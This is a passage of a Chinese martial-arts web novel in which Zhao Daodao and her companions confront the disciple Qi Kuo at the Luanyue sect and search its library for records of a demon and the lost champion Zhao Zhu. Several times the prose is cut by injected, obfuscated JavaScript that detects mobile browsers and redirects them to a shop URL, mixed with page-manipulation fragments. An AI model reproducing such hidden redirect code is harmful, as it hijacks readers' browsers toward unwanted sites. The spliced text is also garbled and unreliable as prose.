学什么不言而喻。 陆珠珠知道陆怀瑾是为了她好,可站在他面前自己却像被揭开了伤疤,露出底下不堪的烂肉来,她低着头咬牙道,“陆当家,我反正……学了也是赶不上的。” 陆怀瑾忽然问,“你到陆家这些日子,开心吗?” 陆珠珠道,“开心。” 即使她有再多不满,在陆府的日子还是要比在镇子的时候好多了,尤其……她还遇到了周向晚。 陆怀瑾道,“你喜欢他。” 陆珠珠觉得自己的心被刨开来,曝在日下,却一文不值,在他们眼中,自己是不是像个笑话? 她的目光死死盯着地面,“喜欢又怎么样,偌大个陆府,难道还要管我一个小女子喜欢什么人不成?” 她的指甲扎在手心,这样的痛却远不及她此刻感到的屈辱,“您也不用劝我,我知道不可能,就是他回来,我也不会缠着他了,我会离他远远的。” 陆怀瑾有些头疼了,他微微皱眉,“我不是那个意思。” 陆珠珠却不想再听了,她只想赶快离开,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078444|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的屋子里去,关上门,谁也不见。 陆怀瑾又叹了口气,“如果陆向晚在这里,他会希望你去。” 陆珠珠惊愕地抬头,“不——” “你知道的,他真心把你当作妹妹,希望你能过得好。”陆怀瑾道,“他为了自己离开陆府了,你呢,你想为自己活一次吗?” 陆珠珠的声音卡在喉中,她忽然觉得自己又丑陋,又肮脏。她的手心已经被掐出血。 她艰难地回答,声音已经很沙哑,“能让我想想吗。” “好。” 她把自己在房中关了三天。 那三天三夜思考的结果是——如果周向晚还能回来,她希望他能看见一个不一样的她。 这本是她永远等不到的机会,她应该把握。 他会为她开心吗? 陆珠珠不知道,或许他那时已经忘了她吧。 但如果可以,如果还有机会……她愿变成陆府的剑,守护这个他深爱的地方。 到了见面那天。 赵刀刀和唐雪远远站着,看周向晚和这姑娘说话,怎么看都看不出这姑娘喜欢过周向晚的影子。 平淡,就是平淡,这姑娘连语调都不带起伏的。 陆珠珠问,“陆少爷找我,什么事?” 周向晚有些尴尬,不好说他是被唐雪推过来的。 他用手虚握成拳,抵着嘴轻咳一声,道,“就是家里托我给你带个话,问你现在过的如何,你今年还回去吗?” 陆珠珠闻言,抬头深深看了一眼她的表哥,她的语气舒缓一些,道,“今年不回去了,我过两年再回去,我在这里……过的很好。” 周向晚也不知道自己该说什么,人家都表现的这么无所谓了,以前那些事,应该就是真的过去了吧,他心想。 这一块石头也算落下。 周向晚道,“要是有什么需要的,就跟家里写信,别委屈自己。” 陆珠珠到这时候终于浅浅的笑了,她说,“我知道的。” 哥哥。 她在心底默念。 陆珠珠问,“你们是来看门派大比的吗?” 周向晚点了点头,“嗯,随便看看。” 陆珠珠道,“前面几天大多都是外门弟子比试,最后一天的好看些,这几天来的人很多,热闹,你们可以多留几天。” “好。” 那头已经有人在催她了,陆珠珠有些纠结,垂下眼睛,“我还有事……不能带你们四处看看了。” 周向晚摆摆手,随意道,“没事,你去忙吧,我们自己也行。” 陆珠珠低头很快地咬了下唇又松开,行了礼转身离开。 她听到周向晚在身后笑了声,低声道,“珠珠长大了。” 他记得我。 陆珠珠脚下一停,握紧拳头深吸一口气继续走。 她已经很久没哭过了,上一次是离开陆府那时候吗,她都记不清了。 也想不明白,为什么现在她还会鼻子发酸到想哭呢。 唐雪走上前拍了拍周向晚的肩,“看来你这妹妹也没多喜欢你啊,是我误会你了。” 周向晚额角抽筋,他慢慢展开扇子,一字一顿说,“那我真是谢谢唐大小姐解开误会了。” 唐雪窃笑着挽上恩人的胳膊,躲在赵刀刀身后探头道,“我们接下来去转转?” “好。” 他们向齐淡道了谢,问了峦岳派藏书阁的位置,打算过去瞧瞧。 唐雪昏沉了两天,今天是第一次出门。 她细看这里,心道峦岳派还挺有风范,路上少见散步的弟子,基本都各司其职,有条不紊地行动,从一处到一处。 当然她唐家堡也一点不差就是了。 沿齐淡指的路一直走。 走到一片湖边,他们站在上桥还没过去,赵刀刀就听到兵器相接的声音。 还有一道响亮的呼喝。 “齐阔,你想怎么样?!” 32. 冲突 桥对岸,峦岳派的人分成了两拨。 一边为首的弟子头冠歪了,脸色涨得通红,他腰上挂着一把剑,手里还拿着一把剑,握着剑鞘,上半身奋力往前伸,气愤道:“齐阔!我师兄只不过是不小心撞了你一下,他已经道歉了,你还想怎样?” 要不是身后的同伴抱着他的胳膊拉住他,这会儿他已经冲了上去。 他身后不远处站着个人,正皱眉担忧地看着他,欲言又止。 这人的腰带被挑断了,一只手抓着腰带断开的地方,固定住要散开的衣襟,另一只手紧紧攥成拳,垂在身侧。 他的脸上,肩上和衣摆上都沾着土,十分狼狈。 这狼狈的人就是被拉住弟子口中的师兄。 齐阔昂首而立,一手放在剑上,一手背在身后俯视着他们,脸上看不出喜怒。 齐阔没有说话,他身后的弟子却忍不住了,替他出声道:“不小心?!我看你们分明是早有预谋!嫉妒齐师兄抢了内门弟子的名额,想要在大赛前让他不能登台!” “你血口喷人!” “我血口喷人?徐哲,我刚才可亲眼看见你师兄拔剑了,要不是齐师兄眼疾手快,真要被你们割断玉佩,失去资格!我知道你一直嫉妒齐师兄,但你也不照镜子看看,就你们这样子,难道真能被张长老看上?”齐阔身后的弟子上前一步,有些鄙夷地看着对面的人。 周围的弟子窃窃私语。 徐哲脖子上的青筋暴起,举起右手拿着的长剑,“你胡说,我师兄的剑是被你们打飞的,他根本没有拔剑!”他盯着齐阔,“齐阔,你敢做不敢当吗,这会儿还要让刘武替你说话,不敢自己站出来?” 齐阔皱了皱眉,淡淡道,“我看见他拔剑了。” 那断腰带的人站了出来,用一只手行了礼,沉声道,“齐师兄,我刚才只是想给徐哲师弟看新得的剑鞘,没有要对你拔剑。” 他的话也有道理,配着那副惨状,周围人的议论又偏向了他。 “怎么早不看晚不看偏偏齐师兄走来的时候你想起要给人看剑鞘了,你们才是敢做不敢当,找什么借口?”刘武冷笑两声。 “呸!”徐哲挣开右手,举起右手的剑,想要讨一个公道。“我师兄凭自己也能进入后轮,他根本没有理由割断齐阔的玉佩,况且玉佩现在分明好好的,我师兄却被你们无故打伤,你们才是在赛前伤人,坏了规矩!” “徐哲,你师兄出了事,你这么急做什么,难道说想做坏事的人是你,没做成你才这么急?” “你!” 争吵的声音激起水波,涟漪阵阵。 徐哲喘着粗气,却放松了挣扎的力气,周围的弟子慢慢放开了他。 他松松手腕,狠狠瞪着刘武,又看向齐阔,“齐师兄,亏我曾经以为你是个值得敬佩之人,你就放他这么污蔑同门师兄弟?” 齐阔一言不发。 徐哲惨笑一声,冷声道,“你不过是占了个好名头,你真以为人人都羡慕你齐阔吗?张长老选了你,那是长老识人不清!” 齐阔的目光终于落在他身上。 “你说什么?” “你不过是个欺软怕硬的小人,我可是听说了,在唐家擂台上,你还不如一个初出茅庐的女子!你真以为没人知道,你是因为深夜潜进唐家堡盗宝不成被人赶出来才被关在后山?还说什么闭关?真是好听!” 齐阔这会儿才真的动了气,他将手搭在剑柄上。 身后的刘武正要说话,余光却瞥见一队人马,匆忙低声在齐阔耳边道,“师兄,不能出手,巡逻队的在附近。” 齐阔闭了闭眼,松开了手,傲视道,“目无尊长,满口胡言。看来不给你们些教训,你们连张长老都要不放在眼中了,我在擂台上等着你们。” 他手一送,出鞘两寸的剑重重合上,剑柄撞击剑鞘,发出砰的一声响。 刘武嗤笑道,“今天先放你们一马,过几天的大比,你们可不要临阵脱逃。” 巡逻队的已经往这边走了。 齐阔正打算离开。 “等等。” 一道他死也不会忘记的声音突然响起。 他倏地转头。 赵刀刀拍拍唐雪拉着她胳膊的手,轻轻拂开。 唐雪担忧地看着她,懊恼地拍了下脑袋,怎么这样不巧,早知道不走这条路了。 赵刀刀一看见这个人,那晚的事立刻浮现在眼前。 她走上前,道,“齐公子,真巧。” 除了齐阔,两伙人都不认识她,齐齐望过来,有些发愣,一时不知是敌是友。 齐阔并没有特意记住赵刀刀的脸,但是他清楚记得她的声音,还有她那把黑刀。 这把黑刀气势太足,他也一下想起了那晚之事。“是你!” 赵刀刀笑道,“不来不知道,原来这峦岳派的大弟子,除了小偷小摸,还有欺负同辈的爱好?” 齐阔闻言眼睛眯起,道,“这是我峦岳派内部事宜,外人无庸置喙。” 他拦住身后打算出头的刘武,沉声问“你怎么在这?” 赵刀刀从背后抽出黑刀,她的刀没有刀鞘,利刃置于胸前,她轻描淡写地挥了挥,“那当然是——” 她直直看着齐阔的眼睛。 “被请过来的啊。” 这动作有些挑衅,齐阔闻声看向她的刀,脸色更差。 赵刀刀笑道,“我说呢,齐公子一直好大的气派,原来是借了张长老的光,那日在唐家,我没机会领教断水剑法的厉害,不知道这次你肯不肯赏脸?” 她像是想起来什么,恍然大悟道,“啊,对了,也不知道齐公子这下了山就喜欢偷东西的毛病,改正了没?” 徐哲听到这里,立刻明白过来,原来那些传言确有其事!他鄙夷地望向齐阔等人,“张长老真该好好擦亮眼睛了!” 刘武看着齐阔不善的脸色,道,“师兄,这女人出言不逊,这一口气即使你咽得下我却不行,我去教训教训她!” 齐阔不置可否。 赵刀刀好整以暇,“哦?出言不逊?你不如让齐公子自己说说——” 她勾起嘴角歪了歪头,伸手将刀递在空中,“那天齐公子不会是来借东西的吧?不问自取的借?那……今天还要吗?” 齐阔怒目而视,“赵刀刀,你到底想做什么?” 一旁唐雪看向周向晚,眼神问:怎么办? 周向晚轻轻耸肩,回了她一个眼神:你去拉住她? 唐雪挑眉:怎么不是你? 周向晚一挥扇子,进入看戏状态:我可拉不住。 唐雪有些纠结,一边觉得,其实恩人也没做错什么啊,不都是这齐阔要偷东西惹得祸嘛,恩人就是要讨个公道而已,一边又想,他们要是在齐阔家门口打起来,恩人会不会吃亏啊,他们不会被赶出去吧? 她也看见了不远处有一队人正朝这边靠近。 她咬了咬唇,走到赵刀刀身旁,拉住她的袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096116|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将拿刀那只手压下来。 赵刀刀转头看她,她避开眼神,凑到赵刀刀耳边快速轻声道,“恩人,我们找个没人的地方收拾他吧,这周围全是峦岳派的弟子,不好,不好。” 赵刀刀还以为唐雪过来是要劝她服软,听完这番话倒笑起来。 她拎着刀看向齐阔,“听闻张长老一手断水剑法名满天下,想来张长老的弟子也不会差,只是可惜,我到现在还没见过,我有心请教,齐公子给个面子,让我瞧瞧?” 齐阔的手又握住剑柄了。 那天他一时不查没摸清底细被这女人占了上风,如今他功力更精进,更不会像当时一样轻敌,谁胜谁败还说不准,他堂堂张长老首席弟子,难道还真的不如一个运气好些的野丫头? 要不是她那把刀有些古怪,他拿下她根本轻而易举。 只是—— 门派里大比将开,这段时间万万不能出一点差错,巡逻队就在附近,私下争斗要是被师父知道,就不是退赛这么简单了。 齐阔思量再三,决定暂时放赵刀刀一马。 他微微笑着,眼中却没有笑意,“赵姑娘既然这么想见识我峦岳派的断水剑法,那我到时便以武会友,在比试场等着了。” 赵刀刀冷笑一声,“贵派剑法不知如何,你的口气倒是很大,真让我刮目相看。” 齐阔身后的峦岳派弟子听不下去了,不明白齐师兄怎么脾气这么好,气道,“你不要不识好歹!” 周围已经快被围得水泄不通,巡逻队的人看不见里边在发生什么,正拨开人群靠近。 赵刀刀虽然想下了齐阔的面子,但也不喜欢被这么多人当猴看,她的嘴角抿成一道直线。 齐阔显然更不习惯被人围着却是出于他和一个女人的恩怨,冷哼一声。 不知什么时候有个穿白袍的中年男子走到了中间,袖子上绑着一条红巾,正是巡逻队的样式。 见人群没有伤亡,弟子们没有拔剑,只有个不认识的女人拎着一把奇怪的黑刀,他松了口气,沉声喝道,“做什么?!都围着干什么,你们是大比将至还没事可做?” 周围的弟子一哄而散。 齐阔看了赵刀刀一眼,转身出了人群。 那巡逻的人转身想问,赵刀刀却更早就被唐雪牵着带出去了,他皱着眉四顾,没找到那女子的身影。 跑到远处,唐雪才将刚才就想问的问题问出了口,她的眼睛亮晶晶的,“恩人本来不打算去凑热闹吧?” “嗯。” 唐雪捂着嘴偷笑,“他这是搬起石头砸自己的脚,恩人肯定比他厉害多了。” 赵刀刀笑了下,知道她是想宽慰自己。“你能看出来他的深浅?我也可能会输。” 唐雪嘟囔道,“不会的,”又不确定道,“他应该与我差不多?” 赵刀刀笑了笑没回她。 他们绕了个圈,彻底甩开有可能跟上来的麻烦,又走在去藏书阁的路上。 半道儿唐雪拉住了赵刀刀,鼓着脸颊,还在气她话只说半截。 赵刀刀尖锐的脾气从来看人,她对唐雪笑道,“他不如你,他没你聪明。” 唐雪瞪圆了眼睛,没想到这回答居然会偏成了这样,她鼓着脸,最后还是没憋住,笑的花枝乱颤,“恩人不许逗我!” 周向晚已经走到前面去了,手拿着扇子背在身后,幽幽道,“欸,你们到底还去不去藏书阁?” 唐雪拉着赵刀刀的手,道,“去!” 33. 记录 “怎么还没到啊,那藏书阁长什么样子,你不会带错路了吧?” 唐雪两手搭在眉毛上,挡住光抬头远望。 “诶,前面那个塔是什么?” “要不你来带路。” 周向晚停下脚步,语气不善,显然还记着唐雪早上将他推出去的事。 唐雪嘿嘿一笑,吐了吐舌头,“恩人,你看,他真记仇啊。” 周向晚哼了一声。 赵刀刀笑笑,她当时也抱了看好戏的心思,可惜周向晚的好戏没看成,自己还差点变成戏。 她理解周向晚,“跟你道歉,我们早上不该把你推出去。” “恩人!”唐雪瞪大眼睛看着她,不明白她怎么忽然倒戈了。 “唉……再看有些人……”周向晚悠长地叹了口气,找了个树荫走过去,开始扇扇子。 三人就这样僵在原地。 “好吧……”唐雪见他一直不走,靠近他低声道,“下次不捉弄你了。” 周向晚端着架子半晌没说话,等唐雪又想开口时,才合起扇子,“算了,我大人不记小人过。” 唐雪瞪了他一眼。 周向晚回归队伍,走在最前方,奇怪地沉默着,气氛有些凝重。 “你还在生气?”唐雪问。 周向晚摇摇头。 “其实……峦岳派的藏书阁是一座六层高的古塔。”他的语速由慢到快,脚步也越来越快,说到最后一个字居然跑起来。 赵刀刀默然片刻。 唐雪愣了下,不知道他为什么突然要炮。 “恩人,他跑什么……”她忽然反应过来,塔?那不就是她刚才看到的? “你耍我?!”唐雪松开赵刀刀,向前追去。“好哇,周向晚!这么近了谁要你带路?” 赵刀刀叹了口气,也跟着向前跑去。 三人跑到藏书阁大门附近才停下来。 周向晚的扇子上嵌了两枚飞镖,他苦兮兮地拿下来,顺了顺扇骨。 还好飞镖只是卡在扇面的铁片之间,扇子本身没坏,他有些心疼的将扇子恢复原样。 唐雪手指间还夹着一枚飞镖,“你还敢不敢了?” “不敢了。”周向晚认输,男子汉大丈夫,不该和女人一般计较。 谁让他打不过唐雪,也舍不得扇子。 唐雪这才收起手里的飞镖,“拿来。”她伸手道。 周向晚把两枚飞镖还给她。 赵刀刀笑着看他们平息风波,抬头仰望这座藏书阁。 如果不是清楚的知道这是白玉山,这里看着更像某个佛家重地。 藏书阁建成宝塔状,六层的高塔耸立眼前,靠近了看比在远处看更大。 塔身通体镶嵌着琉璃砖,正午的太阳直照而下,黄、绿、橙、蓝各种颜色的墙砖折射光茫,熠熠生辉,瑰丽庄严。 八角飞檐上全是瑞兽,吊着的铃铛在一阵微风中风吹下丁当作响,清脆的声音令人神清。 为防走水,这座藏书阁四面都修了池子,水中的倒影也华丽斑斓。 还未进门,书香已扑面而来。 三人来此目的各不相同。 赵刀刀是为了看峦岳派的宗谱,之前那个疯子的话令她有些在意,她想知道峦岳派的过去,。 周向晚也有点好奇,不过他主要是为了看断水剑法而来。 这里毕竟是峦岳派的藏书阁,要说这里最出名的书,怎么排断水剑法的残章都能排上名号。可惜这里只有旧剑谱的残章,张长老创的那本新断水剑法还没有收进来。 唐雪的目的最为简单,她就是想看看峦岳派的藏书阁里到底有多少话本。 藏书阁一楼。 赵刀刀看着满满的书架,有些头疼,她猜测宗谱这种东西应该放在高处,但是门口的弟子刚刚扣下了她的刀,还叮嘱他们不要去三楼往上。 她有些羡慕的看着唐雪像个鉴赏家一般,对武功秘籍不屑一顾,只执着地寻找自己的故事,消失在书架间。 她也该找找了。 先从一楼开始吧,没有再上楼去寻。 赵刀刀将手掌张开又合上,适应着没有拿刀的感觉,从旁边书架随便抽了一本书出来。 说起来,赵小刀今天也没说话,怎么一直睡觉? 赵刀刀深吸一口气,叫自己沉下心来,别再胡思乱想。 没想到看了两页就嘴角一抽。 书中以自述形式记载着某位峦岳派弟子的日常心得,第一篇标题写着“了解峦岳派之白玉山茅厕地点全记载”。 这本书明晃晃放在第一个书架上最显眼的一排,受欢迎的程度不必多说,赵刀刀往后翻了几页,居然还有其他弟子用小字在边缘做的笔记,字里行间都是对这位不知名师兄的感谢。 她沉默着合上书。 不知是她看得太慢还是唐雪看得太快,赵刀刀走到第三个书架时,唐雪已经绕了一圈过来找她。 “恩人?” “嗯?” “我问过那守门了,现在弟子们都忙的脚不沾地,藏书阁没什么人来。”唐雪冲她使了个眼神。“上去看看?” 赵刀刀还没回答,周向晚不知道什么时候也走过来,靠近道,“找到你们了,我刚问了楼上的守卫,和门口弟子说法不同,他说只有顶层不能去,其他的不拦着。” 他猜测着,“估计是有些书太老旧,塔顶常年不见光,放在那里保管正合适。” 周向晚对赵刀刀说,“你要找的书应该不在这层,这一层的书都是外面常见的,没什么新奇,上去找吧。” 赵刀刀放下手里的书,“好,那我们上去。” 藏书阁的楼梯仅有两人宽,三人依次上楼。 脚下木头的颜色老旧,但是台阶很稳当,踩上去也没发出咯吱咯吱的声音。 每一阶转折的地方都很光滑,有向下弯的弧度,峦岳派弟子众多,加之经常有外人慕名而来,有这样的痕迹也算正常。 二楼书架比一楼的更高,方便挂着字画,架子上卷轴样子的字画堆叠,还有志怪小说之类的民间话本,整齐地垒在一起,看样子也不是赵刀刀要找的。 唐雪多看了两眼,有些是她看过的。 继续往上,三楼一半是名家著作,一半是江湖历史和其他门派世家的武功记录。 到第四层,才再次出现带着峦岳派字样的书。 “怎么不见守卫?”唐雪问。 他们已经上到四层,一路上还没有碰见其他人。 周向晚道,“可能走开了。” “现在虽然不比寻常,但这里的守卫也太不尽责了,万一我就是那种想去顶楼的人呢?”唐雪随口道。 赵刀刀看向唐雪,不确定地问,“这是心里话?” “啊?”唐雪反应过来,摇头如拨浪鼓。“恩人别多想,我可不是那种人。” 周向晚也奇怪怎么之前看见的守卫不见了,“到顶层应该还有人守着吧,或者有什么机关,要是好奇等下可以一起去看看。” 正走着,赵刀刀忽然往脚下看去。 她踩在一条走动形成的痕迹上。 这里有很多人来过。 藏书阁的地面是硬木搭成,不容易留下足迹,他们之前走过的二三楼地面都平整光滑,没想到四楼居然会有这种脚步痕迹。 它们都聚集在一处,汇聚在一个书架前,是来看断水剑法残本的人留下的。 峦岳派为了方便来客,足足准备了七本断水剑法放在架上。但即使是后人最新誊写的版本,也已经被翻阅的泛黄,书页边有细小的缺口,页脚微微卷起。 唐雪走过去,拿在手里翻看几页,没什么稀奇,还不如唐家的暗器谱有趣。 赵刀刀问,“你不过去看看吗?” 周向晚有些失望,“先帮你找书吧,唉,那残章一放就是七册,估计也没留下什么重点。” “恩人要找的书在这层吗?”唐雪见他们还站在书架边,过来问。 “嗯。” “要帮你找吗?” 赵刀刀还没跟她说那晚林中遇到疯子的事,“不用了,我自己来。”她看出了唐雪的去意,刚才唐雪在二楼就有些流连,“你去二楼吧,没事。” 唐雪眼睛一亮,应了一声下去了。 赵刀刀和周向晚分成两路,一册一册地看着。 突然,周向晚举起手中的书,道,“这里。” 赵刀刀走过去,他手里正拿着一本峦岳派的传记,翻开扉页,是十几年前写的。 “你要找的是这种吗?这一层架子好像都是峦岳派的过往记载。”周向晚问。 赵刀刀接过看了看,“嗯,谢了。” 周向晚道,“你好奇峦岳派的历史?” “嗯。”赵刀刀解释道,“一时兴起。” “因为那晚遇到的人?”周向晚道。 “有点关系。”但是还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵刀刀点点头,她对武洲并不了解,但江湖在她的想象中都差不多,“按理说要是真有这种事,天下正道都会选择一起除魔卫道吧?” “嗯。” “可是你家对这事却没一点印象。” 周向晚也有些不解,“我也算是小半个江湖百事通了,可这事还从未听过。” “难道是峦岳派误记?” 周向晚道,“也有可能。不过应该没有人会刻意编造这种故事吧,还写在这种专讲门派历史的书里。” 赵刀刀沉思片刻,也否定了关于误记的想法。 这种东西从来不是一个人写出来的,况且这册子不是放在一楼,而是放在有着断水剑法的四楼,必定是经过峦岳派长老和掌门的认证才敢留下来,不会在书中胡乱记载叫人看了笑话。 但这样就更令她疑惑,“所以峦岳派真的追杀过一个作恶多端的魔头,还是在其他门派都不知道的情况下?” 周向晚跟着她的思路,“书中说这魔头作恶多端,要是真有这种事,峦岳派也该让其他门派家族知道。” “可连你们陆家也不知道。” 周向晚皱眉,“他们把消息瞒下了?” “可他们为什么要瞒着,追杀的时候瞒着就算了,事情已经结束,功劳也要瞒着?” 周向晚摇摇头,“是有些说不通。” 赵刀刀又拿回来接着看。 张长老也曾被派去追杀魔教,只是不知为何放弃了。 她往后看。 魔头被逼上绝路,消失于江湖,此后再也没人见过他的踪影。 寥寥几笔作了结语,后面再无相关记录。 她琢磨着这几个字,逼上绝路后就消失?这绝路指什么,人到底是真的死了还是藏起来了? 赵刀刀突然想到林子里那疯老头说的,“你怎么回来了?” 她一时有了一个大胆的猜想——这魔头不会就是峦岳派的人吧? 所以才记载的这么语焉不详? 她看向周向晚,“你说王四说的那个人到底是不是真的?” “哪个人?” “张长老的那个师妹。” 周向晚合起书,“在大比上出风头那个?” “嗯。” 周向晚抬头看着她,沉默片刻,缓缓道,“确有此人。” 34. 过往 周向晚的声音落在耳畔,赵刀刀不可置信地看着他。 路上王四说起那个故事的时候,他脸上没有太多表情,她还以为他也只是头一次听说,不了解其中内情。 赵刀刀看着手里的书,“张长老竟然真的有个师妹……” “她真在比试上大出风头了吗?为什么这里半句也不提?” 周向晚道,“比试到底如何我不知道,不过确实有些奇怪。” 赵刀刀追问,“连峦岳派都没留下只言片语,你是怎么知道她的,你见过她?” 周向晚将扇子抽出,摩挲着扇骨道,“没有,是你刚才问了我才忽然想起来,我小叔曾无意中说起过这么一个人。” 赵刀刀问,“你小叔见过她?他什么时候提起的,这次,还是两年以前?” “你也知道肯定不是这次。”周向晚讪笑一声,道,“不过不止两年,是更早之前……应该是在我小时候吧,有次他教我的时候提了一嘴,但我也不知道他说的人是不是王四说的那个。” 因为那天剑炉小范围失火了,就在陆怀瑾说完这事不久后,所以他还有些印象。 赵刀刀好奇地看着周向晚,“他都说了什么?” “他当时说,峦岳派张长老的师妹来过陆家。” “就这一句?你记性真好。” 周向晚得意地笑了下,“假如她们是同一个人,按我小叔说这话的时间,陆家既然能认出她,应当就是在她大比之后不久。但那时候峦岳派刚站稳脚跟,下山的弟子大都结伴而行,去世家也都写了请柬才敢登门,生怕被世人觉得峦岳派有依附谁的苗头……” “她却是一个人去了你家?” 周向晚颔首,“现在想来,确实很奇怪。” “她叫什么?” “不知道。” “你小叔有说她为什么去?” “好像是去找人?” “她去找人却不自报姓名?” “她说她自峦岳派而来,秘密行事,不便告知姓名。” “那场大比呢?” “好像没人注意到她的名字,只知道她是张秋水的师妹。” 这样一个人,在大比出尽风头,居然只留下一个依附于手下败将的名号,甚至峦岳派已经没人记得她。 赵刀刀不知该惋惜还是感慨。 “她去找谁?” “白衣青衫碧落剑。” “那是谁?” 周向晚紧紧盯着赵刀刀,“你不知道?” “不知道。”赵刀刀反问,“我应该知道吗?” 她这一路全无遮掩,以周向晚的心思细腻程度,大概早就觉察了她对武洲种种过去的无知,怎么这会儿反而奇怪起来? 周向晚缓缓道,“这件事哪怕是武洲的黄口小儿也知道。” 赵刀刀摊手,“可我既不是黄口小儿,也真的不知道。” 周向晚看着她,知道她说的是真话。叹气道,“我还以为水城那会儿你只是不想说,在考验我呢。” 赵刀刀心知她又暴露了什么,不过这会儿也无所谓了,对别人她会记得少说一些。 她认真道:“这个问题我只问过你。” “那这件事你就更不能让别人知道了。” “好。” 周向晚用扇子挡出一片阴影,像是交流什么秘密一般,低声道,“白衣青衫碧落剑,冷面公子无情客。她找的人就是跑了的天下第一,赵逐。” “赵逐……”赵刀刀将这名字在唇齿间过了几遍,原来这就是天下第一的名字。 她记在心中。 赵刀刀问,“她为什么要找赵逐?” “不知道,她要是找别人兴许还能看出点什么,她找赵逐的话,可能有太多理由了。” “为什么?” “因为那时天下人都在找赵逐。” 赵刀刀了然,赞同道,“因为他是天下第一。”她笑道,“不过他们显然不是去找他做朋友的。” “没错,找他的人也都是为了成为天下第一。” “然后呢?” “我家又没藏着这个人,询问无果,她就走了。” “这就没了?” “没了。” 赵刀刀微微皱眉,“我记得你说,天下第一跑了,天下第二弃城而去?” 周向晚看了她一眼,很是嫌弃。 赵刀刀手痒痒,心道,应该去门口把黑刀拿进来。 周向晚无奈道,“说什么你都信,你居然听不出那是酒话?” 赵刀刀拒绝他的辩白,“是谁说自己千杯不倒的?” 周向晚潇洒地甩开扇子,他使了巧劲,这次没发出一点声音。 他正色道,“城主要是这么容易当,武洲还不乱了套。” “嗯。” “虽然如此,赵逐的命却很好,他的确有成为城主的机会。” “所以弃城而去的也是他?” “这是夸张些的说法,他只是有机会,但并没有抓住这个机会。” 赵刀刀已经完全被勾起了好奇,“他做了什么?” 周向晚娓娓道来,“当年,有座城的城主正值壮年,却突然患上一种怪病,卧床不起,他膝下无子,也没有培养什么继承的后人,江湖上的人都说他私下发布了城主令,要从天下豪杰中挑选后代,继承城主之位。那时武林大会刚刚落幕,赵逐正好在这个时候击败了对手成为天下第一,一时风头无两,就有好事之人给这位城主提了他。” “他当了?” “听说他去试了,不过只当了三天城主,就放下得病的老城主跑了。” “为什么?” “他留信说,自己并无治城之能,实在不堪大任,为了不让城内百姓流离失所,天下英才无数,还是请城主另做打算,。” 赵刀刀歪头,没想过居然还有这种操作,“然后呢?” “然后就是他被四处求战,坐稳了天下第一。” “所以天下第一还在?” 周向晚道,“没人知道他还在不在,江湖上有过他身死的传言,但从来没人见过他的尸身,所以这成了一桩悬案,总之,天下没人找得到他。” 余音悠长。 周向晚讲故事讲出了一身汗,但没有显露出来,只是不明显地动了动,松松衣服。 他扇着扇子,发丝被风吹拂起来,一副玉树临风的翩翩君子相貌,他觉得自己的姿态很配刚才的故事。 实则只有他自己知道这风带着温度,并不清爽。 夏天到了,这座塔修在阳处,哪怕塔中放了不少降暑之物,还是挡不住外面阳光带来的温热空气。 他们在窗边说话,炎热就更明显。 风度与凉爽不好兼得,他就取风度二字,不管怎么说,扇子还是要扇的。 原来天下第一还在啊,赵刀刀的心神全在刚刚的故事上,心想,大概只有真正的高人才能销声匿迹这么久还没被世人遗忘,她也想见见这个人。 不过到了峦岳派之后,遇上的人,看到的字,随便一件都能牵扯出这么多古怪,搅得她一头雾水,最后还是不知道那魔头和师妹到底是谁。 赵刀刀本就是外来人,周向晚这种生在武洲长在武洲的都弄不清楚,她就更无可能了。 她心中叹息,转念突然回想起来周向晚来此的目的,问,“你不去看看断水剑法的残章吗?” 周向晚摇头,走到旁边书架抽了一本,随手翻过,看了两页就叹着气合上。 赵刀刀不明所以,“怎么了?” 她也过去看,就是不全的剑谱而已,或许是因为残缺,剑招无法连起来。 周向晚惋惜道,“我以为有什么不同呢,原来这里放着的也和诓骗世人的没什么两样。这种东西,我家也有。” 赵刀刀有些讶异,但他们还在别人的地盘上,她克制着低声道,“这里放着的剑谱是假的?” 周向晚也低声回她,“当然不能摆个假货出来,就算一半人都是傻子,也还有另一半能看得出好坏。” 他说,“真是挺真,就是少了些东西。” 赵刀刀没想到还能这样,“是他们决心要摆出来,为何还……” 周向晚不屑道,“难道还真让外人白学了去?看来也是让人看个开头,剩下的还得来他峦岳派拜为弟子才肯放出来。”他合上扇子,摆手道,“名门正派,不过如此。” 或许是因为赵刀刀对峦岳派的第一印象来自那个叫齐阔的偷刀贼,对于周向晚这样的定论她也不觉得有哪里不对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐雪想了想,她上去也无事,“好。” 赵刀刀道,“我们很快下来,你要是还有倦意……” 